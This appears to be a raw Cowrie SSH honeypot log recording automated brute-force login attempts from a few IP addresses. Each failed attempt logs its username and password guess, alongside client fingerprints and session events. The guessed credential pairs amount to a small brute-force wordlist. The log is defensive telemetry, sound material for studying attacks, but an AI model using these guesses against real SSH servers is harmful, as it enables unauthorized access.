{"eventid":"cowrie.login.failed","username":"root","password":"root@2022","message":"login attempt [root/root@2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:50.760974Z","src_ip":"60.165.124.241","session":"686926877a10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"probert","message":"login attempt [admin/probert] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:51.815048Z","src_ip":"2.57.121.112","session":"166a70ecf01e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"priority","message":"login attempt [admin/priority] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:52.919769Z","src_ip":"2.57.121.112","session":"166a70ecf01e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:53.319834Z","src_ip":"60.165.124.241","session":"686926877a10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:54.028070Z","src_ip":"2.57.121.112","session":"166a70ecf01e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":37188,"dst_ip":"10.17.0.5","dst_port":22,"session":"2638923e8764","protocol":"ssh","message":"New connection: 60.165.124.241:37188 (10.17.0.5:22) [session: 2638923e8764]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:54.562392Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:54.567869Z","src_ip":"60.165.124.241","session":"2638923e8764","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:54.825928Z","src_ip":"60.165.124.241","session":"2638923e8764","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"24682468","message":"login attempt [root/24682468] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:55.601230Z","src_ip":"60.165.124.241","session":"2638923e8764","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.3","message":"Connection lost after 7.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:01.820835Z","src_ip":"60.165.124.241","session":"2638923e8764","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":48222,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c3963680b0d","protocol":"ssh","message":"New connection: 60.165.124.241:48222 (10.17.0.5:22) [session: 5c3963680b0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:02.073172Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:02.078626Z","src_ip":"60.165.124.241","session":"5c3963680b0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:03.072020Z","src_ip":"60.165.124.241","session":"5c3963680b0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nevermind","message":"login attempt [root/nevermind] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:10.008626Z","src_ip":"60.165.124.241","session":"5c3963680b0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.2","message":"Connection lost after 9.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:11.265374Z","src_ip":"60.165.124.241","session":"5c3963680b0d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":60346,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c44acc76ea0","protocol":"ssh","message":"New connection: 60.165.124.241:60346 (10.17.0.5:22) [session: 8c44acc76ea0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:13.538437Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:13.543739Z","src_ip":"60.165.124.241","session":"8c44acc76ea0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:13.806325Z","src_ip":"60.165.124.241","session":"8c44acc76ea0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mail123","message":"login attempt [root/mail123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:15.300978Z","src_ip":"60.165.124.241","session":"8c44acc76ea0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:16.551658Z","src_ip":"60.165.124.241","session":"8c44acc76ea0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":38780,"dst_ip":"10.17.0.5","dst_port":22,"session":"87d334c3ee00","protocol":"ssh","message":"New connection: 60.165.124.241:38780 (10.17.0.5:22) [session: 87d334c3ee00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:16.801727Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:16.810576Z","src_ip":"60.165.124.241","session":"87d334c3ee00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:17.059416Z","src_ip":"60.165.124.241","session":"87d334c3ee00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"superadmin","message":"login attempt [root/superadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:17.816320Z","src_ip":"60.165.124.241","session":"87d334c3ee00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:19.067943Z","src_ip":"60.165.124.241","session":"87d334c3ee00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":42062,"dst_ip":"10.17.0.5","dst_port":22,"session":"abe405b63d29","protocol":"ssh","message":"New connection: 60.165.124.241:42062 (10.17.0.5:22) [session: abe405b63d29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:19.290671Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:19.295810Z","src_ip":"60.165.124.241","session":"abe405b63d29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:19.532745Z","src_ip":"60.165.124.241","session":"abe405b63d29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kali","message":"login attempt [root/kali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:20.258101Z","src_ip":"60.165.124.241","session":"abe405b63d29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:21.498226Z","src_ip":"60.165.124.241","session":"abe405b63d29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":45024,"dst_ip":"10.17.0.5","dst_port":22,"session":"3085db8b4025","protocol":"ssh","message":"New connection: 60.165.124.241:45024 (10.17.0.5:22) [session: 3085db8b4025]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:21.745148Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:21.750672Z","src_ip":"60.165.124.241","session":"3085db8b4025","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:21.999847Z","src_ip":"60.165.124.241","session":"3085db8b4025","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Alcatel#2026","message":"login attempt [root/Alcatel#2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:22.738722Z","src_ip":"60.165.124.241","session":"3085db8b4025","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:23.985422Z","src_ip":"60.165.124.241","session":"3085db8b4025","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":48230,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ba9d0150254","protocol":"ssh","message":"New connection: 60.165.124.241:48230 (10.17.0.5:22) [session: 8ba9d0150254]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:24.231720Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:24.236789Z","src_ip":"60.165.124.241","session":"8ba9d0150254","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:24.483690Z","src_ip":"60.165.124.241","session":"8ba9d0150254","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"3.1415926","message":"login attempt [root/3.1415926] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:25.235721Z","src_ip":"60.165.124.241","session":"8ba9d0150254","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:26.491913Z","src_ip":"60.165.124.241","session":"8ba9d0150254","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":51344,"dst_ip":"10.17.0.5","dst_port":22,"session":"b66a104f770d","protocol":"ssh","message":"New connection: 60.165.124.241:51344 (10.17.0.5:22) [session: b66a104f770d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:26.735157Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:26.740239Z","src_ip":"60.165.124.241","session":"b66a104f770d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:26.988031Z","src_ip":"60.165.124.241","session":"b66a104f770d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ym@.com123","message":"login attempt [root/Ym@.com123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:27.747865Z","src_ip":"60.165.124.241","session":"b66a104f770d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:28.996291Z","src_ip":"60.165.124.241","session":"b66a104f770d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":54364,"dst_ip":"10.17.0.5","dst_port":22,"session":"06e478333eba","protocol":"ssh","message":"New connection: 60.165.124.241:54364 (10.17.0.5:22) [session: 06e478333eba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:29.238944Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:29.243742Z","src_ip":"60.165.124.241","session":"06e478333eba","protocol":"ssh"}
